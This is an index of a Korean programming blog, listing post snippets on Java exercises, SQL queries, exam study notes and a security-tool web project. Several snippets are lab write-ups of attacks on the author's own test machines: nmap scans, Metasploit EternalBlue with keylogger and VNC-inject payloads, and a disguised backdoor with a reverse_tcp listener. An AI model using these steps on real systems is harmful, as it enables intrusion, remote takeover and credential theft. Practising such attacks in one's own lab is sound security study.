ma5ter의 등록된 링크

 ma5ter로 등록된 네이버 블로그 포스트 수는 154건입니다.

좌석 예약 프로그램 [내부링크]

자바로 만든 간단한 좌석 예약 프로그램입니다. 좌석표는 총 10개 번호를 입력받아서 예약가능은 0, 이미 예약된 좌석은 1로 표현했습니다. package Test; import java.util.Scanner; public class ReservationTest { public static void main(String[] args) { int[] seats = new int[10]; Scanner sc = new Scanner(System.in); while (true) { int cnt = 0; System.out.println("===================================좌석표==================================="); for (int i = 0; i < seats.length; i++) { System.out.print(seats[i] + "\t"); if (seats[i] == 1) { cnt++; } } System.out.pr

업다운 게임 [내부링크]

자바로 만든 간단한 업다운 게임입니다. 프로그램을 시작하면 1~100사이 난수를 가져와서 사용자가 맞추는 게임입니다. package Test; import java.util.Random; import java.util.Scanner; public class UpDownTest { public static void main(String[] args) { Random random = new Random(); Scanner sc = new Scanner(System.in); int num = random.nextInt(100); int cnt = 0; while (true) { System.out.print("숫자를 입력해주세요 : "); int temp = sc.nextInt(); cnt++; if (temp == num) { System.out.println("정답입니다!" + cnt + "회 시도했습니다."); break; } else if (temp > num) { System.o

학생관리프로그램 [내부링크]

프로그램 시작 및 입력부 출력부 Total.class package classex2; public class Total { private int[] sno; private String[] name; private int[] score1; private int[] score2; private int[] total; private double[] avg; private int cnt; Total(int num) { sno = new int[num]; name = new String[num]; score1 = new int[num]; score2 = new int[num]; total = new int[num]; avg = new double[num]; cnt = 0; } public void printTotal() { System.out.print("\n학생번호\t"); for (int i = 0; i < cnt; i++) { System.out.print(sno[i] + "\t");

CRUD 도서관리프로그램 [내부링크]

메서드와 접근제한자랑 친해지기 위해.. 여러 가지 방법으로 프로그램을 만들어보고 있다. 메인 영역에선 최대한 기능을 끌어다 써보자(코드 수를 줄여보자) 하는 생각에 최대한 기능을 메서드를 통해 사용해 보았다. 처음에 제목 1, 제목 2, 제목 3의 경우 많은 테스트를 위한 임의의 값을 생성자로 만들어준 것이다. 특정 책 번호의 값도 조회할 수 있다. 수정 또한 잘 된다. 삭제 역시 잘 된다. BookTest.java package classex4; public class BookTest { public static void main(String[] args) { System.out.println("책 관리 프로그램 v1.0"); System.out.println("수정 및 삭제는 책 번호를 통해 실행됩니다.\n"); Book book = new Book(); boolean loop = true; while (loop) { book.menuPrint(); switch (book.set

클래스와 친해지기 위한 계산기 프로그램 [내부링크]

클래스와 상속이랑 친해지기 위해 계산기 프로그램을 만들었다. Account.java - VO package classex9; public class Account { private String id = "test"; private String pw = "123s"; public String getId() { return this.id; } public String getPw() { return this.pw; } } 로그인용 ID, PW.. User.java - VO package classex9; public class User extends Account { private String name = "장뽕뽕"; private int age = 26; public String getName() { return this.name; } public int getAge() { return this.age; } } 계정 값을 상속받아 만든 이름과 나이.. Service.java - Serv

외부 라이브러리 사용하기 [내부링크]

접근 제한자를 사용할 때 getter, setter, toString 등 반복적으로 작성하는 코드들을 자동으로 세팅해 주는 라이브러리 Lombok을 사용해 볼게요.. Lombok은 어노테이션 기반으로 코드를 자동완성해 주는 라이브러리입니다.. Project Lombok Get Lombok for Enterprise Project Lombok Project Lombok is a java library that automatically plugs into your editor and build tools, spicing up your java. Never write another getter or equals method again, with one annotation your class has a fully featured builder, Automate your logging variables, ... projectlombok.org jar 파일을 다운로드한 뒤 Eclipse 프로젝

JDBC - MariaDB 접속하기 [내부링크]

JDBC 드라이버로 MariaDB에 접속을 해볼게요. 드라이버는 https://mvnrepository.com/ 에서 다운로드하실 수 있습니다. DBcon.java import java.sql.Connection; import java.sql.DriverManager; public class DBcon { final static String driverName = "org.mariadb.jdbc.Driver"; final static String url = "jdbc:mariadb://localhost:3306/DBname"; final static String uid = "ID"; final static String upw = "PW"; public static Connection getConnect() throws Exception { Class.forName(driverName); Connection conn = DriverManager.getConnection(url, uid

[정처기] 정보처리기사 실기 1. 요구사항 분석 암기용 [내부링크]

암기 용이라 설명이 부실할 수도 있습니다. UML 관계 - 연집포일의실 연관관계 2개 이상 사물 집합 관계 하나의 사물이 다른 사물에 포함되어 있는 관계 포함관계 포함하는 사물의 변화가 포함하는 사물에게 영향을 미치는 관계 일반화 관계 하나의 사물이 다른 사물에 비해 더 일반적이거나 구체적인 관계 의존관계 서로에게 영향을 주는 짧은 시간 동안만 연관을 유지하는 관계 실체화 관계할 수 있거나 해야 하는 기능으로, 서로를 그룹화 할 수 있는 관계 구조적 다이어그램 - 클객컴배복패 클래스 클래스와 클래스가 가지는 속성, 클래스 사이의 관계를 표현함. 객체 클래스에 속한 사물(객체)들, 즉 인스턴스를 특정 시점의 객체와 객체 사이의 관계로 표현함. 컴포넌트 실제 구현 모듈인 컴포넌트 간의 관계나 컴포넌트 간의 인터페이스를 표현함. 배치 결과물, 프로세스, 컴포넌트 등 물리적 요소들의 위치를 표현함. 복합체 구조 복합 구조를 갖는 경우 그 내부 구조를 표현함. 패키지 패키지 관계를 표현 행위

[정처기] 정보처리기사 실기 2. 데이터 입출력 구현 암기용 [내부링크]

암기 용이라 설명이 부실할 수도 있습니다. 데이터베이스 정의 - 통저운공 통합된 데이터 : 자료의 중복을 배제한 데이터의 모임 저장된 데이터 : 컴퓨터가 접근할 수 있는 저장 매체에 저장된 자료 운영 데이터 : 조직의 고유한 업무를 수행하는 데 반드시 필요한 자료 공용 데이터 : 여러 응용 시스템들이 공동으로 소유하고 유지하는 자료 스키마 - 내외개 내부 스키마 : 물리적 저장 장치의 입장에서 본 데이터베이스 구조 외부 스키마 : 사용자나 응용 프로그래머가 각 개인의 입장에서 필요로 하는 데이터베이스의 논리적 구조를 정의한 것 개념 스키마 : 데이터베이스의 전체적인 논리적 구조 데이터베이스 설계 시 고려 사항 - 무일회보효확 무결성 : 삽입, 삭제, 갱신 등의 연산 후에도 데이터베이스에 저장된 데이터가 정해진 제약 조건을 항상 만족해야 함 일관성 : 데이터베이스에 저장된 데이터들 사이나, 특정 질의에 대한 응답이 처음부터 끝까지 변함없이 일정해야 함. 회복 : 시스템에 장애가 발생했

[정처기] 정보처리기사 실기 3. 통합 구현 암기용 [내부링크]

암기 용이라 설명이 부실할 수도 있습니다. 통합 구현 : 송, 수신 모듈과 중계 모듈 간의 연계를 구현하는 것 XML : 특수한 목적을 갖는 마크업 언어를 만드는 데 사용되는 다목적 마크업 언어 SGML : 텍스트, 이미지, 오디오 및 비디오 등을 포함하는 멀티미디어 전자 문서들을 다른 기종의 시스템들과 정보의 손실 없이 효율적으로 전송, 저장 및 자동으로 처리하기 위한 언어 SOAP : 네트워크 상에서 HTTP/HTTPS, SMTP 등을 이용하여 XML을 교환하기 위한 통신 규약 WSDL : 웹 서비스와 관련된 서식이나 프로토콜 등을 표준적인 방법으로 기술하고 게시하기 위한 언어 UDDI : 인터넷에서 전 세계의 비즈니스 업체 목록에 자신의 정보를 등록하기 위한 확장성 생성 언어(XML) 기반의 규격

[정처기] 정보처리기사 실기 4. 서버 프로그램 구현 암기용 [내부링크]

암기 용이라 설명이 부실할 수도 있습니다. 웹 서버(Web Server) : 클라이언트로부터 직접 요청을 받아 처리함. 웹 애플리케이션 서버(WAS, Web Application Server) : 웹 서버와 데이터베이스 서버 또는 웹 서버와 파일 서버 사이에서 인터페이스 역할을 수행함. 데이터베이스 서버(DB server) : 데이터베이스와 이를 관리하는 DBMS를 운영함. 파일 서버(File server) : 데이터베이스에 저장하기에는 비효율적이거나, 서비스 제공을 목적으로 유지하는 파일들을 저장함. 소프트웨어 아키텍처 : 소프트웨어를 구성하는 요소들 간의 관계를 표현하는 시스템의 구조 또는 구조체 모듈화 : 시스템의 기능들을 모듈 단위로 나누는 것 추상화 : 전체적이고 포괄적인 개념을 설계한 후, 구체화시켜 나가는 것 단계적 분해 : 상위의 중요 개념으로부터 하위의 개념으로 구체화시키는 분할 기법 정보 은닉 : 모듈 내부에 포함된 절차와 자료들의 정보가 감추어져 다른 모듈이 접근

[정처기] 정보처리기사 실기 5. 인터페이스 구현 암기용 [내부링크]

암기 용이라 설명이 부실할 수도 있습니다. 요구사항 검토 : 요구사항 명세서의 오류 확인 및 표준 준수 여부 등의 결함 여부를 검토 담당자들이 수작업으로 분석하는 방법 동료 검토(Peer Review) : 요구사항 명세서 작성자가 명세서 내용을 직접 설명하고 동료들이 이를 들으면서 결함을 발견하는 형태의 검토 방법 워크 스루(Work Through) : 검토 회의 전에 요구사항 명세서를 미리 배포하여 사전 검토한 후에 짧은 검토 회의를 통해 결함을 발견하는 형태의 검토 방법 인스펙션(Inspection) : 요구사항 명세서 작성자를 제외한 다른 검토 전문가들이 요구사항 명세서를 확인하면서 결함을 발견하는 형태의 검토 방법 시스템 연계 기술 DB Link : DB에서 제공하는 DB Link 객체를 이용하는 방식 API / Open API : 송신 시스템의 데이터베이스(DB)에서 데이터를 읽어와 제공하는 애플리케이션 프로그래밍 인터페이스 프로그램 연계 솔루션 : EAI 서버와 송수신 시

[정처기] 정보처리기사 실기 6. 화면 설계 암기용 [내부링크]

암기 용이라 설명이 부실할 수도 있습니다. 사용자 인터페이스(UI, User Interface) : 사용자와 시스템 간의 상호작용이 원활하게 이루어지도록 도와주는 장치나 소프트웨어 사용자 인터페이스의 구분 CLI(Command Line Interface) : 명령과 출력이 텍스트 형태로 이뤄지는 인터페이스 GUI(Graphical User Interface) : 아이콘이나 메뉴를 마우스로 선택하여 작업을 수행하는 그래픽 환경의 인터페이스 NUI(Natural User Interface) : 사용자의 말이나 행동으로 기기를 조작하는 인터페이스 사용자 인터페이스의 기본 원칙 : 직유학유 직관성 : 누구나 쉽게 이해하고 사용할 수 있어야 함 유효성 : 사용자의 목적을 정확하고 완벽하게 달성해야 함 학습성 : 누구나 쉽게 배우고 익힐 수 있어야 함 유연성 : 사용자의 요구사항을 최대한 수용하고 실수를 최소화해야 함 UI 표준 : 전체 시스템에 포함된 모든 UI에 공통적으로 적용될 내용으로,

[정처기] 정보처리기사 실기 7. 애플리케이션 테스트 관리 암기용 [내부링크]

암기 용이라 설명이 부실할 수도 있습니다. 애플리케이션 테스트 : 애플리케이션에 잠재되어 있는 결함을 찾아내는 일련의 행위 또는 절차 확인(Validation) : 고객의 요구사항을 만족하는가 / 사용자 검증(Verification) : 기능을 정확히 수행하는가 / 개발자 애플리케이션 테스트의 기본 원리 완벽한 테스트 불가능 : 소프트웨어의 잠재적인 결함은 줄일 수 있지만, 소프트웨어의 결함이 없다고 증명할 수는 없음 파레토 법칙(Pareto Principle) : 애플리케이션의 20%에 해당하는 코드에서 전체 결함의 80%가 발견된다는 법칙 살충제 패러독스(Pesticide Paradox) : 동일한 테스트 케이스로 동일한 테스트를 반복하면 더 이상 결함이 발견되지 않는 현상 테스팅은 정황(Context) 의존 : 소프트웨어의 특징, 테스트 환경, 테스터의 역량 등 정황(Context)에 따라 테스트 결과가 달라질 수 있으므로, 정황에 따라 테스트를 다르게 수행해야 함 오류-부재의

[정처기] 정보처리기사 실기 8. 소프트웨어 보안 구축 암기용 [내부링크]

암기 용이라 설명이 부실할 수도 있습니다. 소프트웨어 개발 생명주기 : SDLC, Software Development Life Cycle Secure SDLC : SDLC에 보안 강화를 위한 프로세스를 포함한 것 소프트웨어 개발 보안 요소 : 기무가인부 기밀성(Confidentiality) : 시스템 내의 정보와 자원은 인가된 사용자에게만 접근이 허용됨 무결성(Integrity) : 시스템 내의 정보는 오직 인가된 사용자만 수정할 수 있음 가용성(Availability) : 인가받은 사용자는 시스템 내의 정보와 자원을 언제라도 사용할 수 있음 인증(Authorization) : 시스템 내의 정보와 자원을 사용하려는 사용자가 합법적인 사용지인지를 확인하는 모든 행위 부인 방지(NonRepudiation) : 데이터를 송수신한 자가 송수신 사실을 부인할 수 없도록 송수신 증거를 제공함 시큐어코딩(Secure Coding) : 구현 단계에서 보안 요소들을 고려하여 코딩하는 것 입력 데이

[정처기] 정보처리기사 실기 9. 응용 SW 기초 기술 활용 암기용 [내부링크]

암기 용이라 설명이 부실할 수도 있습니다. 운영체제 : 컴퓨터 시스템의 자원들을 효율적으로 관리하며, 사용자가 컴퓨터를 편리하고 효과적으로 사용할 수 있도록 환경을 제공하는 여러 프로그램의 모임 운영체제의 목적 : 처반사신 처리 능력(Throughput) : 일정 시간 내에 시스템이 처리하는 일의 양 반환 시간(Turn Around Time) : 시스템에 작업을 의뢰한 시간부터 처리가 완료될 때까지 걸린 시간 사용 가능도(Availability) : 시스템을 사용할 필요가 있을 때 즉시 사용 가능한 정도 신뢰도(Reliability) : 시스템이 주어진 문제를 정확하게 해결하는 정도 운영체제의 기능 : 프로세서(처리기/Processor), 기억장치(주 기억장치, 보조기억장치), 입. 출력장치, 파일 및 정보 등의 자원을 관리 운영체제의 종류 - Windows, Unix, Linux, MacOs, Android, iOS 기억장치 관리 : 보조기억장치의 프로그램이나 데이터를 주 기억장치

[정처기] 정보처리기사 실기 10. 제품 소프트웨어 패키징 암기용 [내부링크]

암기 용이라 설명이 부실할 수도 있습니다. 소프트웨어 패키징 : 모듈별로 생성한 실행 파일들을 묶어 배포용 설치 파일을 만드는 것, 사용자 중심 릴리즈 노트 : 소프트웨어 개발 과정에서 정리된 릴리즈 정보를 최종 사용자인 고객과 공유하기 위한 문서 디지털 저작권 관리(DRM, Digital Right Management) : 저작권자가 배포한 디지털 콘텐츠가 저작권자가 의도한 용도로만 사용되도록 하는 디지털 콘텐츠 관리 및 보호 기술 디지털 저작권 관리 구성 요소 클리어링 하우스(Clearing House) : 저작권에 대한 사용 권한, 라이선스 발급, 암호화된 키 관리, 사용량에 따른 결제 관리 등을 수행하는 곳 콘텐츠 제공자(Contents Provider) : 콘텐츠를 제공하는 저작권자 패키저(Packager) : 콘텐츠를 메타 데이터와 함께 배포 가능한 형태로 묶어 암호화하는 프로그램 콘텐츠 분배자(Contents Distributor) : 암호화된 콘텐츠를 유통하는 곳이나

[정처기] 정보처리기사 실기 단답형, 약술형 대비 암기용 [내부링크]

정답 최대한 안 보고 풀어봐요. 모르겠으면 그냥 머릿속에 구겨 넣으세요. 문자로 된 도메인 네임을 컴퓨터가 이해할 수 있는 IP 주소로 변환하는 역할을 하는 시스템 DNS 기본 테이블의 기본 키를 구성하는 어떤 속성도 Null 값이나 중복 값을 가질 수 없다는 규정 개체 무결성 프로세스의 처리 시간보다 페이지 교체에 소요되는 시간이 더 많아지는 현상 스래싱 동일한 성격의 데이터를 동일한 데이터 블록에 저장하는 물리적 저장 방법 클러스터 개발자가 관리하고 통제해야 하는 객체들의 제어 권한을 프레임워크에 넘겨 생산성을 향상시키는 것 제어의 역행 결함을 모두 제거했다 하더라도 사용자의 요구를 충족시켜주지 못한다면 품질이 높다고 볼 수 없다는 것 오류-부재의 궤변 프로세스가 실행되는 동안 주기억장치를 참조할 때 일부 페이지만 집중적으로 참조하는 성질 지역성 분할된 패킷의 순서를 기록하는 Fragment Offset 값을 변경하여 수신 측에서 재조립 시 오류로 인한 과부하를 유도하는 공격 기

JAVA+JDBC CRUD 게시판 만들기 + 로그관리 [내부링크]

게시판 테이블 명세서>> 실행 화면>> 게시글 작성 - Create 게시글 보기 - Read 게시글 수정 - Update 게시글 수정 시 로그 삽입 게시글 삭제 - DELETE 게시글 삭제 시 로그 삽입 수정, 삭제 시 로그 삽입은 두 번씩 됩니다.. 왜냐하면.. SQL의 Trigger를 연습하면서 UPDATE, DELETE 사용 시 트리거가 동작하게 만들어놨거든요.. board_updateTrg DELIMITER // CREATE TRIGGER board_updateTrg AFTER UPDATE ON board FOR EACH ROW BEGIN INSERT INTO board_log VALUES(NULL,OLD.bno,OLD.title,OLD.content,OLD.regdate,OLD.modifyDate,OLD.writer,OLD.hit,'U',CURRENT_TIMESTAMP()); END // DELIMITER ; board_deleteTrg DELIMITER // CREATE

JAVA+JDBC 소코반 게임 [내부링크]

자바로 소코반 게임을 만들고 JDBC를 이용해 DB에 연동하여 점수와 공지사항, 이벤트 관련 게시글을 추가했습니다. 첨부파일 game.zip 파일 다운로드 실행 화면을 먼저 보시면 로그인 창이 나옵니다. 회원가입을 먼저 해볼게요. 계정 테이블>> CREATE TABLE `account` ( `userno` INT(11) NOT NULL AUTO_INCREMENT COMMENT '계정관리번호', `permit` INT(1) NOT NULL COMMENT '권한', `id` VARCHAR(20) NOT NULL COMMENT '아이디' COLLATE 'utf8mb4_general_ci', `pw` VARCHAR(10) NOT NULL COMMENT '패스워드' COLLATE 'utf8mb4_general_ci', `name` VARCHAR(20) NOT NULL COMMENT '이름' COLLATE 'utf8mb4_general_ci', `phone` VARCHAR(13) NOT NUL

JAVA+JDBC 학생관리프로그램 [내부링크]

학생관리 프로그램의 권한은 총 4가지입니다. 1 : 학생 2 : 선생님 3 : 관리자 9 : 선생님으로 회원가입한 뒤, 관리자가 승인하기 전 첨부파일 sangHoon.zip 파일 다운로드 프로그램을 실행시켰을 때 회원가입을 먼저 해볼게요. tbl_grade 테이블>> CREATE TABLE `tbl_grade` ( `userno` INT(11) NOT NULL AUTO_INCREMENT COMMENT '계정관리번호', `permit` INT(1) NOT NULL COMMENT '권한', `id` VARCHAR(20) NOT NULL COMMENT '아이디' COLLATE 'utf8mb4_general_ci', `pw` VARCHAR(10) NOT NULL COMMENT '패스워드' COLLATE 'utf8mb4_general_ci', `name` VARCHAR(20) NOT NULL COMMENT '이름' COLLATE 'utf8mb4_general_ci', `phone` VARCH

JAVA+Socket+Thread 실시간 채팅방 [내부링크]

이전에는 소켓을 이용하여 한 번씩 문자열을 주고받았다면 이제는 스레드를 사용하여 데이터처리를 분산시켜서 시도해 봤어요.. 서버 쪽에서 읽어들이는 스트림 - in 서버 쪽에서 보내는 스트림 - out 클라이언트에서 읽어들이는 스트림 - in 클라이언트에서 보내는 스트림 - out 서버와 클라이언트 측에서 읽어들이는 스트림 in 객체를 스레드로 넘겨 스레드에선 문자열을 읽어들여 프린트를 해주고 메인 영역에서는 스캐너로 입력받은 문자열을 쏴주는 역할을 하여 각각 다른 작업을 수행하게 만들었어요 서버 측 클라이언트 측 서버 측 소스코드>> package d20230508; import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.PrintWriter; import java.net.ServerSocket; import java.net.Socket; import java.util.Scanner; class S

JAVA+Thread 달팽이 경주 게임 [내부링크]

스레드와 친해지기 위해 달팽이 경주 게임을 만들어봤어요. 랜덤으로 가져온 달팽이의 스피드에 따라 각 달팽이 배열에 게이지를 추가하는 스레드와 판을 보여주는 스레드 사용한 스레드는 총 4개입니다. 게임을 시작했을 때 쭉쭉쭉 골인 지점까지 가는 중.. 달팽이2가 먼저 골인 지점에 도착했네요! 전체 소스코드>> package d20230508; import java.util.Random; class show implements Runnable { @Override public void run() { while (true) { if (RunSnail.board[0][20] != null || RunSnail.board[1][20] != null || RunSnail.board[2][20] != null) { RunSnail.showflag = false; if (RunSnail.board[0][20] != null) { System.out.println(RunSnail.board[0][0]

윈도우 시스템 해킹 - 사전 정보 수집 [내부링크]

rHost = Windows 7 Home Basic K, 172.16.234.130 lHost = Kali Linux , 172.16.234.129 !! 실습을 위해서 제가 직접 만든 시스템을 대상으로 정했습니다 !! !! 실제 서버를 공격하여 생기는 법적 책임은 본인에게 있음을 경고합니다 !! Nmap을 이용해 rHost를 대상으로 OS 스캔을 해봅니다. nmap -O 172.16.234.130 열려있는 포트와 사용 중인 OS가 출력됩니다. 다음으로 취약한 포트가 있는지 확인하기 위해 전체 스캔을 진행해 줍니다. nmap -A 172.16.234.130 앞서 스캔 한 정보와 함께 호스트 스크립트 결과를 보시면.. 445번 포트(SMB) 취약점에 대해 정보를 알려줍니다. Nmap에서 제공하는 스크립트 파일을 통해 더 정보를 얻어봐요. /usr/share/nmap/scripts 폴더로 이동 후 SMB와 관련된 스크립트 파일을 찾습니다. 많은 취약점이 존재하는데 smb-vuln-ms17

윈도우 시스템 해킹 - Key logging Exploit [내부링크]

윈도우 시스템 해킹 - 사전 정보 수집 rHost = Windows 7 Home Basic K, 172.16.234.130 lHost = Kali Linux , 172.16.234.1... blog.naver.com 이전 게시글에 이어서 진행됩니다.. !! 실습을 위해서 제가 직접 만든 시스템을 대상으로 정했습니다 !! !! 실제 서버를 공격하여 생기는 법적 책임은 본인에게 있음을 경고합니다 !! msfconsole 단일 명령어를 통해 metasploit 인터페이스로 접근합니다. search cve-2017-0143 이전 게시글에서 찾았던 취약점 정보를 검색합니다. 17년도 이터널블루 취약점을 사용합니다. use exploit/windows/smb/ms17_010_eternalblue 더 자세히 보고 싶으면 info 명령을 통해 취약점을 확인할 수 있습니다. 페이로드를 정하라고 하네요.. show payloads 명령을 통해 페이로드 목록을 확인할 수 있습니다. 저는 metapret

윈도우 시스템 해킹 - VNC Inject Exploit [내부링크]

윈도우 시스템 해킹 - 사전 정보 수집 rHost = Windows 7 Home Basic K, 172.16.234.130 lHost = Kali Linux , 172.16.234.1... blog.naver.com 윈도우 시스템 해킹 - Key logging Exploit 이전 게시글에 이어서 진행됩니다.. 단일 명령어를 통해 metasploit 인터페이스로 접근합니다. 이전 게시글... blog.naver.com 이전 게시글에 이어서 진행됩니다.. !! 실습을 위해서 제가 직접 만든 시스템을 대상으로 정했습니다 !! !! 실제 서버를 공격하여 생기는 법적 책임은 본인에게 있음을 경고합니다 !! 키로거 공격에 이어서 VNC를 이용해 희생자 PC 화면을 강제로 불러와볼게요. 이전 게시글에서 metasploit 인터페이스에서 payload를 다시 설정해 줍니다. set payload windows/x64/vncinject/reverse_tcp rhost, lhost도 설정을 해주시고.

JSP+Servlet Ajax 사용하기 [내부링크]

JSP+Servlet에서 AJAX를 사용하여 비동기통신과 동기 통신을 해볼게요.. JSP>> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Insert title here</title> </head> <body> <h1>Ajax Test</h1> <hr> <button onclick="loadDoc()">실행</button> <div id="demo">demo 영역</div> <div id="demo2">demo2 영역</div> </body> </html> JS(AJAX) >> <script> function loadDoc(){ const xhttp = new XMLHttpRequest(); xhttp.onload = function(){ document.getElem

시스템 해킹 - BackDoor 생성 [내부링크]

!! 실습을 위해서 제가 직접 만든 시스템을 대상으로 정했습니다!! !! 실제 서버를 공격하여 생기는 법적 책임은 본인에게 있음을 경고합니다!! 백도어는 개구멍이라고 생각하시면 편합니다.. 생성한 백도어는 다른 정상적인 프로그램과 합쳐서 대상의 의심을 피한 뒤, 실행하게 되면 대상의 PC에서는 백도어가 설정해둔 포트가 열리게 되고 공격자가 시스템을 장악하게 됩니다. 골 때리는 녀석이죠.. 반대로 백도어에 감염되었다면..? 조립은 해체의 역순입니다. 원하지 않는 포트를 닫아줘야 되니까 네트워크를 사용하지 않는 안전 모드에 들어가서 작업을 하시거나 랜선 뽑고 뻘짓거리 하는 프로그램이 있는지 확인 먼저 하시면 되겠죠.. 서론이 너무 길었네요 얼른 바이러스를 만들어보죠.. 공격자 : Kali - 192.168.28.128 희생자 : Windows 10 - 192.168.0.186 공격은 희생자의 Shell을 장악하기 위해 metapreter의 reverse_tcp와 화면을 원격제어하기 위해

시스템 해킹 - BackDoor / Reverse_tcp Exploit [내부링크]

시스템 해킹 - BackDoor 생성 !! 실습을 위해서 제가 직접 만든 시스템을 대상으로 정했습니다!! !! 실제 서버를 공격하여 생기는 법적 ... blog.naver.com 이전 게시글에 이어서 진행됩니다.. !! 실습을 위해서 제가 직접 만든 시스템을 대상으로 정했습니다!! !! 실제 서버를 공격하여 생기는 법적 책임은 본인에게 있음을 경고합니다!! 공격자는 공격대기를 위해 msfconsole로 이동합니다. msfconsole 이제 페이로드를 정해줍시다.. use multi/handler set payload windows/meterperter/reverse_tcp set lhost 192.168.28.128 set lport 10101 exploit 페이로드에서 공격자의 IP와 바이러스를 만들 때 정했던 포트도 정해주고 exploit 하면 대기 상태가 됩니다.. 희생자의 PC로 가서 바이러스에 감염되어 볼게요. 바이러스를 업로드했던 URL을 타고 가면 바이러스가 다운로드 됩

시스템 해킹 - BackDoor / VNC Inject Exploit [내부링크]

시스템 해킹 - BackDoor 생성 !! 실습을 위해서 제가 직접 만든 시스템을 대상으로 정했습니다!! !! 실제 서버를 공격하여 생기는 법적 ... blog.naver.com 이전 게시글에 이어서 진행됩니다.. !! 실습을 위해서 제가 직접 만든 시스템을 대상으로 정했습니다!! !! 실제 서버를 공격하여 생기는 법적 책임은 본인에게 있음을 경고합니다!! 공격자는 공격대기를 위해 msfconsole로 이동합니다.. msfconsole 그 후 페이로드를 설정해 줍니다.. 페이로드에서 공격자의 IP와 포트를 다시 설정해 주고.. exploit..!! viewonly 옵션은 공격 후에 원격으로 입력도 제어하기 위해 false 해줬습니다.. 다시 희생자의 PC로 돌아와 바이러스에 감염되어 볼게요.. 희생자 PC에서 잘 다운로드 된 요 녀석 실행하게 되면.. 공격자의 PC에선 새로운 세션이 만들어지고.. 희생자의 PC가 원격으로 보이며 제어가 가능합니다..

취득 IT 자격증 + 짧은 후기.. [내부링크]

바야흐로 대학교 2학년.. 군 전역 이후 대학교에 복학하여 교양 수업을 듣는데 자기소개서를 쓰는 수업이었다.. 자기소개서는.. 대학입시할 때 말곤 써본 적이 없었는데.. 다른 사람 얘기 같았지만 어쨌든 학점은 챙겨야 되니까 하라는 대로 했음.. 근데.. 자격 및 경력 란에 쓸 게 없는 거임!! ㅜㅁㅜ 거기서 한 번 나의 현실에 실망하고.. 당장 경력을 쌓을 순 없으니. 나에게 필요할 것 같은 자격증을 찾아보고.. 친구랑 선배님들에게 물어보고.. 공부를 하던, 알바를 하던 자격증 일정을 항상 마음 한구석에 두고 살면서.. 하나씩 하나씩 취득하기 시작했다.. 하고 싶은 일과 연관성과 중요도에 따라 순서를 정함.. 첫 번째로 정보처리기사 기사라고 하면 버스기사 택시 기사 배달기사 겟앰프드 성기사(ㅋㅋ)만 알고 있었는데.. IT 관련 업무를 하려면 면허증과도 같은 자격증이라고 해서 땄음.. 필기는 대학교 4학년 2022년 1회차에 따놨는데.. 바로 실기를 안 따고 한참 아르바이트하고 졸업

게시판 카테고리별 게시글 가져오기 [내부링크]

개인 프로젝트를 진행하다가 윈도우 함수를 이용하여 게시판 카테고리 별로 최신 게시글 3개씩 가져오는 쿼리문을 만들었어요.. 게시판 카테고리 관리 테이블 tbl_boardtype 게시판 데이터 tbl_board 게시판 type(카테고리) 별로 최신 글 3개씩 가져오는 쿼리문 SELECT * FROM (SELECT *,RANK() OVER (PARTITION BY M.type ORDER BY M.date DESC) AS rn FROM tbl_board AS M) AS rs WHERE rs.rn<=3 서브 쿼리와 윈도우 함수를 이용하여 type 별로 구역을 나눠준 뒤, 날짜 별로 정렬해 주고 그 결과가 3 이하인 것을 가져오면 됩니다..

게시글 별 댓글 수 가져오기 [내부링크]

이거 역시 개인 프로젝트를 하다가.. 게시글 별로 해당 게시글에 몇 개의 댓글이 있는지 보여주게 하기 위해서 쿼리문을 만들었어요.. 댓글 테이블 tbl_comment bno는 게시글 번호를 의미합니다.. SELECT *, (SELECT COUNT(*) FROM tbl_comment AS c WHERE c.bno=rs.bno) AS commentnum FROM (SELECT *,RANK() OVER (PARTITION BY M.type ORDER BY M.date DESC) AS rn FROM tbl_board AS M) AS rs WHERE rs.rn<=3 게시판 카테고리 별로 최신 글 3개를 가져오면서 서브 쿼리를 이용하여 해당 게시글의 댓글 수를 가져오는 쿼리문입니다..

[SecuriSuite] Architecture & API [내부링크]

사진을 클릭하면 [시작하기]로 이동합니다. 본 프로젝트는 [SecuriSuite]로, SecuriSuite는 브라우저에서 정보 보안 도구를 사용하기 위한 그래픽 인터페이스입니다. 사용자는 웹 UI를 통해 nmap, crunch, httrack, johnTheRipper 등의 보안 도구를 직접 사용할 수 있습니다. 이 프로젝트는 Kali Linux 도구를 참조로 사용합니다. 데이터 처리 아키텍처 및 각 API에 대한 완성된 예시입니다. 이 예시는 실제 프로젝트에서 나온 것입니다. 데이터 처리 아키텍처 본 프로젝트는 interfaces, facade, domain, infrastructure의 네 가지 주요 계층으로 구성되어 있으며, 이들 간의 상호 작용을 통해 데이터 처리가 이루어집니다. 각 도메인에서 데이터 처리 과정은 다음과 같은 순서로 진행됩니다: 1. Interfaces 계층 - 이 계층은 사용자 또는 외부 시스템으로부터 데이터를 수신합니다. - 수신된 데이터는 DTO(Data

[SecuriSuite] Interface [내부링크]

사진을 클릭하면 [시작하기]로 이동합니다. 본 프로젝트는 [SecuriSuite]로, SecuriSuite는 브라우저에서 정보 보안 도구를 사용하기 위한 그래픽 인터페이스입니다. 이 프로젝트는 Kali Linux 도구를 참조로 사용합니다. SecuriSuite의 인터페이스는 사용자에게 직관적이고 사용하기 쉬운 환경을 제공합니다. 이를 통해 사용자는 복잡한 명령어나 설정 없이도 다양한 보안 도구를 효과적으로 사용할 수 있습니다. 기능 웹 UI를 통한 도구 사용: 사용자는 웹 UI를 통해 nmap, crunch, httrack, johnTheRipper 등의 보안 도구를 직접 사용할 수 있습니다. 이러한 도구들은 사용자의 보안 검사 및 데이터 분석 작업을 지원합니다. 실시간 데이터 시각화: 대시보드는 사용자의 활동 및 도구 사용 통계를 실시간으로 막대 차트와 둥근 차트로 시각화하여 제공합니다. 이를 통해 사용자는 자신의 활동을 쉽게 모니터링하고 분석할 수 있습니다. 기능별 결과 파일 및

[SecuriSuite] 시작하기 [내부링크]

